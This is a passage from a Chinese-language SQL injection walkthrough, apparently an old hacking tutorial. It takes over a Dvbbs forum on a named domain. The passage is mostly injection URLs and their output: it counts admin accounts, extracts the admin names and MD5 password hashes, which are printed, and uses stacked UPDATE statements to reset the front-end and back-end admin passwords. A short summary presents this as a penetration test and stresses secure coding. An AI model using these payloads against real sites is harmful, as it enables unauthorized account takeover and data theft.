三、进入后台,取得动网论坛管理员权限
先看看后台有多少个管理员:
http://www.loveyou.com/type.asp?id=6 and 4=(select count(username) from admin)--
返回错误: 当前的记录已被删除。说明管理员少于4位。直接提交,
http://www.loveyou.com/type.asp?id=6 and 1=(select count(username) from admin)--
正常显示信息,看来管理员只有一个,读出管理员名字,
http://www.loveyou.com/type.asp?id=(select username from admin)--
出来了,管理员后台登陆名为: 01city
继续读出管理员后台登陆密码:
http://www.loveyou.com/type.asp?id=(select password from admin)--
很顺利,密码为: e7cc01be0e33a273
是MD5加密过的。难道要去破解它吗? 别急,根本不需要去破MD5密码。
由于动网后台管理是COOKIE+SESSION认证。所以只有管理员在前台登陆才可以进后台管理,一般用户是无法进后台管理的。即使后台用户和密码都知道的情况下也一样。所以我们还要取得前台管理的用户和密码。 这个很容易,在他论坛注册一个用户查看一下管理团队,得出,前台管理用户为: admin
好,得到他的密码:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回,admin的前台密码为:e7cc01be0e33a273
同样是MD5的。 现在利用COOKIE欺骗可以登陆它的前台管理了。但是还有别的办法吗?别忘了现在我们可是对它的数据库拥有生杀大权哦。聪明的你可能想到了,对 ,就是,update。 我们来提交:
http://www.loveyou.com/type.asp?id=6;update user set userpassword='49ba59abbe56e057' where username='admin';--
正常返回信息,应该成功执行了,查看一下:
http://www.loveyou.com/type.asp?id=(select userpassword from user where username='admin')--
返回值为: 49ba59abbe56e057
更改密码成功,说明一下,这个16位MD5是预先算好的。你要知道它的明文密码。
那么同样的,我们更改一下后台的管理密码.先把后台用户改成和前台用户一样的,提交:
http://www.loveyou.com/type.asp?id=6;update admin set username='admin' where username='01city'--
查看一下:
http://www.loveyou.com/type.asp?id=(select username from admin)--
更改成功,后台管理员现在已变成:admin 接下来更改密码,提交:
http://www.loveyou.com/type.asp?id=6;update admin set password='49ba59abbe56e057' where username='admin'--
查看一下:
http://www.loveyou.com/type.asp?id=(select password from admin)--
更改成功,后台管理员密码已经变成:49ba59abbe56e057
到这里为止,动网已彻底沦陷。你可以用admin登陆前台然后再用相同的密码进后台管理了。
四、总结
就这样并不算太艰难的实现了对动网的控制。通过这次善意的渗透测试,也暴露出SQL INJECTION攻击的可怕性。而对于IIS+ASP+SQL2000的虚拟主机来说简直就是防不胜防。只要主机上有一个SQL注入点的话,动网就将面临灭顶之灾了。而其实从服务器庞大的网站程序中找一个这样的SQL注入点并不算难事.正应征了一句老话:千里之堤,溃于蚁穴。所以防范这样的攻击的最好办法是加强程序代码的安全性。安全是个整体,任何细微的错误都有可能导致严重后果。